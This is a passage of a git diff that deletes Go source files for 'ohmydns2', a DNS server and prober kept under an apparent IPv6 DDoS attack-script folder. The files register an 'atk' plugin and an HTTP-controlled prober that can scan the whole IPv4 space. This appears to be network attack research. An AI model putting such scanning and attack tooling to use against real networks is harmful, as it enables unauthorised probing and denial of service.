s.Addr, s.zones) - if out != "" { - fmt.Print(out) - } -} - -const ( - tlsMaxQueries = -1 -) diff --git "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/dnsserver/view.go" "b/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/dnsserver/view.go" deleted file mode 100644 index 094738a..0000000 --- "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/dnsserver/view.go" +++ /dev/null @@ -1,19 +0,0 @@ -package dnsserver - -import ( - "context" - "ohmydns2/plugin/pkg/request" -) - -// Viewer - If Viewer is implemented by a plugin in a server block, its Filter() -// is added to the server block's filter functions when starting the server. When a running server -// serves a DNS request, it will route the request to the first Config (server block) that passes -// all its filter functions. -type Viewer interface { - // Filter returns true if the server should use the server block in which the implementing plugin resides, and the - // name of the view for metrics logging. - Filter(ctx context.Context, req *request.Request) bool - - // ViewName returns the name of the view - ViewName() string -} diff --git "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/dnsserver/zdirectives.go" "b/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/dnsserver/zdirectives.go" deleted file mode 100644 index fd4e0a8..0000000 --- "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/dnsserver/zdirectives.go" +++ /dev/null @@ -1,21 +0,0 @@ -// generated by plugin_gen.go; DO NOT EDIT - -package dnsserver - -// Directives are registered in the order they should be -// executed. -// -// Ordering is VERY important. Every plugin will -// feel the effects of all other plugin below -// (after) them during a request, but they must not -// care what plugin above them are doing. -var Directives = []string{ - "log", - "dnstap", - "debug", - "prometheus", - "forward", - "metadata", - "whoami", - "atk", -} diff --git "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/plug/zplugin.go" "b/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/plug/zplugin.go" deleted file mode 100644 index 0d41075..0000000 --- "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/plug/zplugin.go" +++ /dev/null @@ -1,17 +0,0 @@ -// generated by plugin_gen.go; DO NOT EDIT - -package plugin - -import ( - // Include all plugins. - _ "ohmydns2/plugin/atk" - _ "ohmydns2/plugin/debug" - _ "ohmydns2/plugin/dnstap" - _ "ohmydns2/plugin/forward" - _ "ohmydns2/plugin/log" - _ "ohmydns2/plugin/metadata" - _ "ohmydns2/plugin/prober/probe53" - _ "ohmydns2/plugin/prober/qname" - _ "ohmydns2/plugin/prometheus" - _ "ohmydns2/plugin/whoami" -) diff --git "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/prober/address.go" "b/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/prober/address.go" deleted file mode 100644 index 7a0e0df..0000000 --- "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/prober/address.go" +++ /dev/null @@ -1,85 +0,0 @@ -package prober - -import ( - "fmt" - "net" - "strings" -) - -type addr struct { - Port string - Transport string // HTTP - Address string // used for bound addr - validation of overlapping -} - -// String returns the string representation of addr. -func (a addr) String() string { - s := "探测服务: " + a.Transport + "://" + ":" + a.Port - if a.Address != "" { - s += " on " + a.Address - } - return s -} - -// SplitProtocolHostPort splits a full formed address like "dns://[::1]:53" into parts. -func SplitProtocolHostPort(address string) (protocol string, ip string, port string, err error) { - parts := strings.Split(address, "://") - switch len(parts) { - case 1: - ip, port, err := net.SplitHostPort(parts[0]) - return "", ip, port, err - case 2: - ip, port, err := net.SplitHostPort(parts[1]) - return parts[0], ip, port, err - default: - return "", "", "", fmt.Errorf("provided value is not in an address format : %s", address) - } -} - -type zoneOverlap struct { - registeredAddr map[addr]addr // each zoneAddr is registered once by its key - unboundOverlap map[addr]addr // the "no bind" equiv Addr is registered by its original key -} - -func newOverlapZone() *zoneOverlap { - return &zoneOverlap{registeredAddr: make(map[addr]addr), unboundOverlap: make(map[addr]addr)} -} - -// registerAndCheck adds a new zoneAddr for validation, it returns information about existing or overlapping with already registered -// we consider that an unbound address is overlapping all bound addresses for same zone, same port -func (zo *zoneOverlap) registerAndCheck(a addr) (existingZone *addr, overlappingZone *addr) { - existingZone, overlappingZone = zo.check(a) - if existingZone != nil || overlappingZone != nil { - return existingZone, overlappingZone - } - // there is no overlap, keep the current zoneAddr for future checks - zo.registeredAddr[a] = a - zo.unboundOverlap[a.unbound()] = a - return nil, nil -} - -// check validates a zoneAddr for overlap without registering it -func (zo *zoneOverlap) check(a addr) (existingAddr *addr, overlappingAddr *addr) { - if exist, ok := zo.registeredAddr[a]; ok { - // exact same zone already registered - return &exist, nil - } - uz := a.unbound() - if already, ok := zo.unboundOverlap[uz]; ok { - if a.Address == "" { - // current is not bound to an address, but there is already another zone with a bind address registered - return nil, &already - } - if _, ok := zo.registeredAddr[uz]; ok { - // current zone is bound to an address, but there is already an overlapping zone+port with no bind address - return nil, &uz - } - } - // there is no overlap - return nil, nil -} - -// unbound returns an unbound version of the zoneAddr -func (a addr) unbound() addr { - return addr{Address: "", Port: a.Port, Transport: a.Transport} -} diff --git "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/prober/onstartup.go" "b/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/prober/onstartup.go" deleted file mode 100644 index a205d87..0000000 --- "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/prober/onstartup.go" +++ /dev/null @@ -1,54 +0,0 @@ -package prober - -import ( - "fmt" - "ohmydns2/plugin/pkg/dnsutil" - "regexp" -) - -// checkZoneSyntax() checks whether the given string match 1035 Preferred Syntax or not. -// The root zone, and all reverse zones always return true even though they technically don't meet 1035 Preferred Syntax -func checkZoneSyntax(zone string) bool { - if zone == "." || dnsutil.IsReverse(zone) != 0 { - return true - } - regex1035PreferredSyntax, _ := regexp.MatchString(`^(([A-Za-z]([A-Za-z0-9-]*[A-Za-z0-9])?)\.)+$`, zone) - return regex1035PreferredSyntax -} - -// startUpZones creates the text that we show when starting up: -// grpc://example.com.:1055 -// example.com.:1053 on 127.0.0.1 -func startUpZones(protocol, addr string) string { - s := "" - - //keys := make([]string, len(zones)) - //i := 0 - // - //for k := range zones { - // keys[i] = k - // i++ - //} - //sort.Strings(keys) - // - //for _, zone := range keys { - //if strings.HasPrefix(protocol, "prober") { - // s += fmt.Sprintln("探测服务启动,访问路径为" + "http://" + prober.proberurl + ":" + transport.PHTTPPort + prober.proberPath) - // continue - //} - // split addr into protocol, IP and Port - _, ip, port, err := SplitProtocolHostPort(addr) - - if err != nil { - // this should not happen, but we need to take care of it anyway - s += fmt.Sprintln(protocol + ":" + addr) - } - if ip == "" { - s += fmt.Sprintln(protocol + ":" + port) - } - // if the server is listening on a specific address let's make it visible in the log, - // so one can differentiate between all active listeners - s += fmt.Sprintln(protocol + ":" + port + " on " + ip) - //} - return s -} diff --git "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/prober/pdirectives.go" "b/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/prober/pdirectives.go" deleted file mode 100644 index 98b4a5b..0000000 --- "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/prober/pdirectives.go" +++ /dev/null @@ -1,15 +0,0 @@ -// generated by plugin_gen.go; DO NOT EDIT - -package prober - -// Directives are registered in the order they should be -// executed. -// -// Ordering is VERY important. Every plugin will -// feel the effects of all other plugin below -// (after) them during a request, but they must not -// care what plugin above them are doing. -var Directives = []string{ - "qname", - "probe53", -} diff --git "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/prober/prober_args.go" "b/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/prober/prober_args.go" deleted file mode 100644 index e4d6dc9..0000000 --- "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/prober/prober_args.go" +++ /dev/null @@ -1,10 +0,0 @@ -package prober - -const ( - globalRange = "globe" - goroutinePoolSize = 3000 -) - -const ( - rangeParam = "prange" -) diff --git "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/prober/prober_http.go" "b/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/prober/prober_http.go" deleted file mode 100644 index 4d61902..0000000 --- "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/prober/prober_http.go" +++ /dev/null @@ -1,285 +0,0 @@ -package prober - -import ( - "context" - "encoding/json" - "fmt" - stdlog "log" - "net" - "net/http" - "ohmydns2/core/dnsserver" - ohttp "ohmydns2/plugin/pkg/http" - olog "ohmydns2/plugin/pkg/log" - "ohmydns2/plugin/pkg/prober" - "ohmydns2/plugin/pkg/reuseport" - "ohmydns2/plugin/pkg/transport" - "ohmydns2/plugin/prometheus/vars" - "strconv" - "sync" - - "github.com/coredns/caddy" -) - -type ProberWriter struct { - laddr net.Addr - raddr net.Addr - request http.Request -} - -type ProberHTTP struct { - *ProbeServer - httpServer *http.Server - listenAddr net.Addr - validRequest func(*http.Request) bool - m sync.Mutex -} - -type proberstate struct { - Code int `json:"code"` - Probernum int `json:"probernum"` - M map[int]prober.Prober `json:"proberlist"` - Msg string `json:"msg"` -} - -type codeAndMsg struct { - Code int `json:"code"` - Msg string `json:"msg"` -} - -// loggerAdapter is a simple adapter around CoreDNS logger made to implement io.Writer in order to log errors from HTTP server -type loggerAdapter struct { -} - -func (l *loggerAdapter) Write(p []byte) (n int, err error) { - olog.Debug(string(p)) - return len(p), nil -} - -// HTTPRequestKey is the context key for the current processed HTTP request (if current processed request was done over DOH) -type HTTPRequestKey struct{} - -// NewProberHTTP returns a new ohmydns prober(可用HTTP调用参数) and compiles all plugins in to it. -func NewProberHTTP(addr string, conf *prober.PBConfig) (*ProberHTTP, error) { - s, err := NewServer(addr, conf) - if err != nil { - return nil, err - } - - // 定义一个检查器来检查访问路径是否正确. - var validator func(*http.Request) bool - validator = conf.HTTPRequestValidateFunc - - if validator == nil { - validator = func(r *http.Request) bool { return r.URL.Path == proberPath } - } - - srv := &http.Server{ - ReadTimeout: s.readTimeout, - WriteTimeout: s.writeTimeout, - IdleTimeout: s.idleTimeout, - ErrorLog: stdlog.New(&loggerAdapter{}, "", 0), - } - - sh := &ProberHTTP{ - ProbeServer: s, httpServer: srv, validRequest: validator, - } - sh.httpServer.Handler = sh - - return sh, nil -} - -// Compile-time check to ensure Server implements the caddy.GracefulServer interface -var _ caddy.GracefulServer = &dnsserver.Server{} - -// Serve implements caddy.TCPServer interface. -func (p *ProberHTTP) Serve(l net.Listener) error { - p.m.Lock() - p.listenAddr = l.Addr() - p.m.Unlock() - - return p.httpServer.Serve(l) -} - -// ServePacket implements caddy.UDPServer interface. -func (p *ProberHTTP) ServePacket(net.PacketConn) error { return nil } - -// Listen implements caddy.TCPServer interface. -func (p *ProberHTTP) Listen() (net.Listener, error) { - l, err := reuseport.Listen("tcp", p.Addr[len(transport.PROBER+"://"):]) - if err != nil { - return nil, err - } - return l, nil -} - -// ListenPacket implements caddy.UDPServer interface. -func (p *ProberHTTP) ListenPacket() (net.PacketConn, error) { return nil, nil } - -// OnStartupComplete lists the sites served by this server -// and any relevant information, assuming Quiet is false. -func (p *ProberHTTP) OnStartupComplete() { - if Quiet { - return - } - - out := startUpZones(transport.PROBER+"://", p.Addr) - if out != "" { - fmt.Print(out) - } -} - -// Stop stops the server. It blocks until the server is totally stopped. -func (p *ProberHTTP) Stop() error { - p.m.Lock() - defer p.m.Unlock() - if p.httpServer != nil { - err := p.httpServer.Shutdown(context.Background()) - if err != nil { - return err - } - } - return nil -} - -// ServeHTTP is the handler that gets the HTTP request and converts to the dns format, calls the plugin -// chain, converts it back and write it to the client. -func (p *ProberHTTP) ServeHTTP(w http.ResponseWriter, r *http.Request) { - if !p.validRequest(r) { - http.Error(w, "", http.StatusNotFound) - p.countResponse(http.StatusNotFound) - return - } - // 设置响应头部 - w.Header().Set("Content-Type", proberContenttype) - - // 解析请求 - param, _ := ohttp.ParseRequest(r) - // 参数定义 - // act: res代表获取当前所有Prober状态,new代表新建Prober - // ptype: 探针类型,v64代表IPv4-IPv6关联发现的探针,默认v64 - // prange: 探测范围,默认全局, - - // 检查参数 - if res, rc := prober.VaildArgs(param); rc != 0 { - //发生错误 - w.WriteHeader(http.StatusBadRequest) - p.countResponse(http.StatusBadRequest) - rec := &proberstate{Code: http.StatusBadRequest, Msg: res} - msg, _ := json.Marshal(rec) - _, err := w.Write(msg) - if err != nil { - return - } - return - } - // 参数没有问题,开始处理 - if v, ok := param["act"]; ok { - switch v[0] { - - case "new": - ctx := context.WithValue(context.Background(), Key{}, p.ProbeServer) - ctx = context.WithValue(ctx, LoopKey{}, 0) - ctx = context.WithValue(ctx, HTTPRequestKey{}, r) - serverr, rs := p.ServeProbe(ctx, w, r) - // 服务发生错误 - if serverr != nil { - //发生错误 - w.WriteHeader(http.StatusInternalServerError) - p.countResponse(http.StatusInternalServerError) - res := &codeAndMsg{Code: http.StatusInternalServerError, Msg: rs} - msg, _ := json.Marshal(res) - _, err := w.Write(msg) - if err != nil { - olog.Errorf("prober_http/ServeHTTP: %v", err.Error()) - return - } - return - } - //一切正常 - w.WriteHeader(http.StatusOK) - p.countResponse(http.StatusOK) - rec := &codeAndMsg{Code: http.StatusOK, Msg: rs} - msg, _ := json.Marshal(rec) - _, err := w.Write(msg) - if err != nil { - olog.Errorf("prober_http/ServeHTTP: %v", err.Error()) - return - } - return - - case "stop": - if n, pok := param["pid"]; pok { - id, _ := strconv.Atoi(n[0]) - err := p.proberlist.DeleteProberById(id) - if err != nil { - return - } - // 成功删除 - w.WriteHeader(http.StatusOK) - p.countResponse(http.StatusOK) - rec := &codeAndMsg{Code: http.StatusOK, Msg: "已停止探测器" + strconv.Itoa(id)} - msg, _ := json.Marshal(rec) - _, err = w.Write(msg) - if err != nil { - olog.Errorf("prober_http/ServeHTTP: %v", err.Error()) - return - } - return - } - - // 无参数指定则停止所有探测任务 - for pid := range p.proberlist.Pl { - err := p.proberlist.DeleteProberById(pid) - if err != nil { - return - } - } - w.WriteHeader(http.StatusOK) - p.countResponse(http.StatusOK) - rec := &codeAndMsg{Code: http.StatusOK, Msg: "已停止所有探测器"} - msg, _ := json.Marshal(rec) - _, err := w.Write(msg) - if err != nil { - olog.Errorf("prober_http/ServeHTTP: %v", err.Error()) - return - } - return - default: - //跳转到列举探测器状态 - break - } - } - // 无act参数默认列举所有探测器当前状态 - allProber, m, err := p.proberlist.ListAllProber() - if err != nil { - return - } - rt := proberstate{ - Code: http.StatusOK, - Probernum: allProber, - M: m, - } - w.WriteHeader(http.StatusOK) - p.countResponse(http.StatusOK) - msg, _ := json.Marshal(rt) - w.Write(msg) - -} - -func (p *ProberHTTP) countResponse(status int) { - vars.HTTPSResponsesCount.WithLabelValues(p.Addr, strconv.Itoa(status)).Inc() -} - -// Shutdown stops the server (non gracefully). -func (p *ProberHTTP) Shutdown() error { - if p.httpServer != nil { - p.httpServer.Shutdown(context.Background()) - } - return nil -} - -const ( - proberContenttype = "application/json" - proberPath = "/prober" - proberurl = "localhost" -) diff --git "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/prober/prober_serve.go" "b/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/prober/prober_serve.go" deleted file mode 100644 index a2716d6..0000000 --- "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/prober/prober_serve.go" +++ /dev/null @@ -1,405 +0,0 @@ -package prober - -import ( - "context" - "encoding/json" - "errors" - "fmt" - "github.com/coredns/caddy" - ot "github.com/opentracing/opentracing-go" - "github.com/panjf2000/ants/v2" - "net" - "net/http" - "ohmydns2/plugin" - ohttp "ohmydns2/plugin/pkg/http" - olog "ohmydns2/plugin/pkg/log" - "ohmydns2/plugin/pkg/prober" - "ohmydns2/plugin/pkg/request" - "ohmydns2/plugin/pkg/reuseport" - "ohmydns2/plugin/pkg/trace" - "ohmydns2/plugin/pkg/transport" - "ohmydns2/plugin/prometheus/vars" - "runtime" - "runtime/debug" - "sync" - "time" -) - -// ProbeServer represents an instance of a server, which serves -// DNS requests at a particular address (host and port). A -// server is capable of serving numerous zones on -// the same address and the listener may be stopped for -// graceful termination (POSIX only). -type ProbeServer struct { - Addr string // Address we listen on - - server *http.Server // http服务 - m sync.Mutex // protects the servers - - conf *prober.PBConfig // zones keyed by their port - httpWg sync.WaitGroup // used to wait on outstanding connections - graceTimeout time.Duration // the maximum duration of a graceful shutdown - trace trace.Trace // the trace plugin for the server - debug bool // disable recover() - stacktrace bool // enable stacktrace in recover error log - classChaos bool // allow non-INET class queries - idleTimeout time.Duration // Idle timeout for TCP - readTimeout time.Duration // Read timeout for TCP - writeTimeout time.Duration // Write timeout for TCP - - proberlist *prober.ProberAndGoroutList //探测器列表 - - tsigSecret map[string]string -} - -// response 是Prober控制响应的抽象 -type response struct { - Code int `json:"code"` - Msg string `json:"msg"` -} - -// NewServer returns a new OhmyDNS2 probe server and compiles all plugins in to it. -func NewServer(addr string, conf *prober.PBConfig) (*ProbeServer, error) { - s := &ProbeServer{ - Addr: addr, - graceTimeout: 5 * time.Second, - idleTimeout: 10 * time.Second, - readTimeout: 3 * time.Second, - writeTimeout: 5 * time.Second, - tsigSecret: make(map[string]string), - proberlist: &prober.ProberAndGoroutList{ - Pl: make(map[int]*prober.Prober), - GRPool: new(ants.Pool), - }, - } - s.proberlist.GRPool, _ = ants.NewPool(goroutinePoolSize, ants.WithPreAlloc(true)) - olog.Infof("服务启动,监听地址: %v", addr) - - // We have to bound our wg with one increment - // to prevent a "race condition" that is hard-coded - // into sync.WaitGroup.Wait() - basically, an add - // with a positive delta must be guaranteed to - // occur before Wait() is called on the wg. - // In a way, this kind of acts as a safety barrier. - s.httpWg.Add(1) - - if conf.Debug { - s.debug = true - olog.D.Set() - } - s.stacktrace = conf.Stacktrace - - // append the config to the zone's configs - s.conf = conf - - // set timeouts - if conf.ReadTimeout != 0 { - s.readTimeout = conf.ReadTimeout - } - if conf.WriteTimeout != 0 { - s.writeTimeout = conf.WriteTimeout - } - if conf.IdleTimeout != 0 { - s.idleTimeout = conf.IdleTimeout - } - - //// copy tsig secrets - //for key, secret := range conf.TsigSecret { - // s.tsigSecret[key] = secret - //} - - // compile custom plugin for everything - var stack plugin.Prober - for i := len(conf.Plugin) - 1; i >= 0; i-- { - stack = conf.Plugin[i](stack) - - // register the *handler* also - conf.RegisterProber(stack) - - // If the current plugin is a MetadataCollector, bookmark it for later use. This loop traverses the plugin - // list backwards, so the first MetadataCollector plugin wins. - if mdc, ok := stack.(prober.ProberMetadataCollector); ok { - conf.MetaCollector = mdc - } - - if s.trace == nil && stack.Name() == "trace" { - // we have to stash away the plugin, not the - // Tracer object, because the Tracer won't be initialized yet - if t, ok := stack.(trace.Trace); ok { - s.trace = t - } - } - // Unblock CH class queries when any of these plugins are loaded. - if _, ok := EnableChaos[stack.Name()]; ok { - s.classChaos = true - } - conf.PluginChain = stack - } - - if !s.debug { - // When reloading we need to explicitly disable debug logging if it is now disabled. - olog.D.Clear() - } - - return s, nil -} - -// Compile-time check to ensure Server implements the caddy.GracefulServer interface -var _ caddy.GracefulServer = &ProbeServer{} - -// Serve starts the server with an existing listener. It blocks until the server stops. -// This implements caddy.TCPServer interface. -func (ps *ProbeServer) Serve(l net.Listener) error { - ps.m.Lock() - - ps.server = &http.Server{ - Addr: l.Addr().String(), - Handler: http.HandlerFunc(func(writer http.ResponseWriter, r *http.Request) { - ctx := context.WithValue(context.Background(), Key{}, ps) - ctx = context.WithValue(ctx, LoopKey{}, 0) - err, s := ps.ServeProbe(ctx, writer, r) - if err != nil { - olog.Errorf("prober_serve/Serve: %v \n %v", err.Error(), s) - return - } - }), - DisableGeneralOptionsHandler: false, - ReadTimeout: ps.readTimeout, - WriteTimeout: ps.writeTimeout, - IdleTimeout: ps.idleTimeout} - - ps.m.Unlock() - - return ps.server.ListenAndServe() -} - -// ServePacket starts the server with an existing packetconn. It blocks until the server stops. -// This implements caddy.UDPServer interface. -func (ps *ProbeServer) ServePacket(net.PacketConn) error { - return nil -} - -// Listen implements caddy.TCPServer interface. -func (ps *ProbeServer) Listen() (net.Listener, error) { - l, err := reuseport.Listen("tcp", ps.Addr[len(transport.DNS+"://"):]) - if err != nil { - return nil, err - } - return l, nil -} - -// WrapListener Listen implements caddy.GracefulServer interface. -func (ps *ProbeServer) WrapListener(ln net.Listener) net.Listener { - return ln -} - -// ListenPacket implements caddy.UDPServer interface. -func (ps *ProbeServer) ListenPacket() (net.PacketConn, error) { - p, err := reuseport.ListenPacket("udp", ps.Addr[len(transport.DNS+"://"):]) - if err != nil { - return nil, err - } - - return p, nil -} - -// Stop stops the server. It blocks until the server is -// totally stopped. On POSIX systems, it will wait for -// connections to close (up to a max timeout of a few -// seconds); on Windows it will close the listener -// immediately. -// This implements Caddy.Stopper interface. -func (ps *ProbeServer) Stop() (err error) { - // 清空协程池 - defer ps.proberlist.GRPool.Release() - if runtime.GOOS != "windows" { - // force connections to close after timeout - done := make(chan struct{}) - go func() { - ps.httpWg.Done() // decrement our initial increment used as a barrier - ps.httpWg.Wait() - close(done) - }() - - // Wait for remaining connections to finish or - // force them all to close after timeout - select { - case <-time.After(ps.graceTimeout): - case <-done: - } - } - - // Close the listener now; this stops the server without delay - ps.m.Lock() - // We might not have started and initialized the full set of servers - if ps.server != nil { - err = ps.server.Shutdown(context.Background()) - } - - ps.m.Unlock() - return -} - -// Address together with Stop() implement caddy.GracefulServer. -func (ps *ProbeServer) Address() string { return ps.Addr } - -// ServeProbe 是每一个prober控制请求的入口 -// It acts as a multiplexer for the requests zonename as -// defined in the request so that the correct zone -// (configuration and plugin stack) will handle the request. -func (ps *ProbeServer) ServeProbe(ctx context.Context, w http.ResponseWriter, req *http.Request) (error, string) { - if !ps.debug { - defer func() { - // In case the user doesn't enable error plugin, we still - // need to make sure that we stay alive up here - if rec := recover(); rec != nil { - if ps.stacktrace { - olog.Errorf("Recovered from panic in server: %q %v\n%s", ps.Addr, rec, string(debug.Stack())) - } else { - olog.Errorf("Recovered from panic in server: %q %v", ps.Addr, rec) - } - vars.Panic.Inc() - errorAndMetricsFunc(ps.Addr, w, "ProbeServer-ServeHTTP-Error", http.StatusInternalServerError) - } - }() - } - - // Wrap the response writer in a ScrubWriter so we automatically make the reply fit in the client's buffer. - //w = request.NewScrubWriter(r, w) - - // 获取请求参数 - param, _ := ohttp.ParseRequest(req) - - //// 用于探测的客户端(启用,嵌入prober结构体中) - //c := new(dns.Client) - - pcf := ps.conf - if pcf.PluginChain == nil { // can not get any plugins - errorAndMetricsFunc(ps.Addr, w, "探测器缺少插件链", http.StatusNotImplemented) - return errors.New("探测器缺少插件链"), "探测器缺少插件链" - } - if pcf.MetaCollector != nil { - // Collect metadata now, so it can be used before we send a request down the plugin chain. - ctx = pcf.MetaCollector.Collect(ctx, request.HTTPRequest{Req: req, W: w}) - } - // 生成目标,开始探测 - targets, targetNum := getTarget(param[rangeParam]) - - // 将探测配置添加到上下文中 - ctx = context.WithValue(ctx, prober.PAddrNum, targetNum) - ctx = context.WithValue(ctx, prober.Pchain, ps.conf) - - // 创建并开始执行任务,返回探测器id - proberid := ps.proberlist.AddProber(ctx, targets) - - // 都不匹配,尝试利用“.”指向的服务块 - //if z, ok := ps.zones["."]; ok { - // - // for _, h := range z { - // if h.pluginChain == nil { - // continue - // } - // - // if h.metaCollector != nil { - // // Collect metadata now, so it can be used before we send a request down the plugin chain. - // ctx = h.metaCollector.Collect(ctx, request.HTTPRequest{Req: req, W: w}) - // } - // - // // If all filter funcs pass, use this config. - // if passAllFilterFuncs(ctx, h.FilterFuncs, &request.HTTPRequest{Req: req, W: w}) { - // if h.ViewName != "" { - // // if there was a view defined for this Config, set the view name in the context - // ctx = context.WithValue(ctx, ViewKey{}, h.ViewName) - // } - // rcode, _ := h.pluginChain.ProbeDNS(ctx, c, msg) - // if !plugin.ClientWrite(rcode) { - // errorAndMetricsFunc(ps.Addr, w, " . --"+h.pluginChain.Name()+"错误", rcode) - // } - // return - // } - // } - //} - - return nil, "成功创建探测器:" + proberid -} - -// passAllFilterFuncs returns true if all filter funcs evaluate to true for the given request -func passAllFilterFuncs(ctx context.Context, filterFuncs []prober.FilterFunc, req *request.HTTPRequest) bool { - for _, ff := range filterFuncs { - if !ff(ctx, req) { - return false - } - } - return true -} - -// OnStartupComplete lists the sites served by this server -// and any relevant information, assuming Quiet is false. -func (ps *ProbeServer) OnStartupComplete() { - if Quiet { - return - } - - out := startUpZones(transport.PROBER+"://", ps.Addr) - if out != "" { - fmt.Print(out) - } -} - -// Tracer returns the tracer in the server if defined. -func (ps *ProbeServer) Tracer() ot.Tracer { - if ps.trace == nil { - return nil - } - - return ps.trace.Tracer() -} - -// errorAndMetricsFunc 通过HTTP返回错误信息,并记录到Metrics中 -func errorAndMetricsFunc(server string, w http.ResponseWriter, rs string, rc int) { - defer vars.HTTPResponsesCount.WithLabelValues(server, http.StatusText(rc)).Inc() - w.WriteHeader(rc) - r := &response{Code: http.StatusInternalServerError, Msg: rs} - msg, _ := json.Marshal(r) - w.Write(msg) - return - -} - -// 输入目标地址数据集,返回IP管道和目标地址数量, -func getTarget(s []string) (chan net.IP, int) { - if s[0] == globalRange { - // 全球探测 - return prober.GenGlobIPv4(), 0 - } - // 局部探测 - ipchan := make(chan net.IP, 100) - go func() { - defer close(ipchan) - for _, v := range s { - ipchan <- net.ParseIP(v) - } - }() - return ipchan, len(s) -} - -type ( - // Key is the context key for the current server added to the context. - Key struct{} - - // LoopKey is the context key to detect server wide loops. - LoopKey struct{} - - // ViewKey is the context key for the current view, if defined - ViewKey struct{} -) - -// EnableChaos is a map with plugin names for which we should open CH class queries as we block these by default. -var EnableChaos = map[string]struct{}{ - "chaos": {}, - "forward": {}, - "proxy": {}, -} - -// Quiet mode will not show any informative output on initialization. -var Quiet bool diff --git "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/prober/register.go" "b/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/prober/register.go" deleted file mode 100644 index f20bd02..0000000 --- "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/prober/register.go" +++ /dev/null @@ -1,209 +0,0 @@ -package prober - -import ( - "github.com/coredns/caddy" - "github.com/coredns/caddy/caddyfile" - "net" - "ohmydns2/core/dnsserver" - "ohmydns2/plugin" - "ohmydns2/plugin/pkg/parse" - "ohmydns2/plugin/pkg/prober" - "ohmydns2/plugin/pkg/transport" -) - -const proberType = "dnsprober" - -func init() { - caddy.RegisterServerType(proberType, caddy.ServerType{ - Directives: func() []string { return Directives }, - DefaultInput: func() caddy.Input { - return caddy.CaddyfileInput{ - Filepath: "Ohmyfile", - Contents: []byte("probe://:" + Port + " {\nprober_show\nlog\n}\n"), - ServerTypeName: proberType, - } - }, - NewContext: newPBContext, - }) -} - -func newPBContext(*caddy.Instance) caddy.Context { - return &ProbeContext{keysToConfigs: make(map[string]*prober.PBConfig)} -} - -type ProbeContext struct { - keysToConfigs map[string]*prober.PBConfig - - // configs is the master list of all site configs. - configs []*prober.PBConfig -} - -func (p *ProbeContext) saveConfig(key string, cfg *prober.PBConfig) { - p.configs = append(p.configs, cfg) - p.keysToConfigs[key] = cfg -} - -// Compile-time check to ensure dnsContext implements the caddy.Context interface -var _ caddy.Context = &ProbeContext{} - -// InspectServerBlocks make sure that everything checks out before -// executing directives and otherwise prepares the directives to -// be parsed and executed. -func (p *ProbeContext) InspectServerBlocks(_ string, serverBlocks []caddyfile.ServerBlock) ([]caddyfile.ServerBlock, error) { - // Normalize and check all the zone names and check for duplicates - for ib, s := range serverBlocks { - Addrs := []addr{} - // 每一个服务块的zone部分 - for ik, k := range s.Keys { - trans, k1 := parse.Transport(k) // get rid of any dns:// or other scheme. - // 不属于探测端的服务块不解析 - if trans != transport.PROBER { - continue - } - port, err := plugin.SplitPort(k1) - - if err != nil { - return nil, err - } - s.Keys[ik] = port - Addrs = append(Addrs, addr{Port: port, Transport: transport.PROBERTRAN}) - } - - serverBlocks[ib].Keys = s.Keys // important to save back the new keys that are potentially created here. - - var 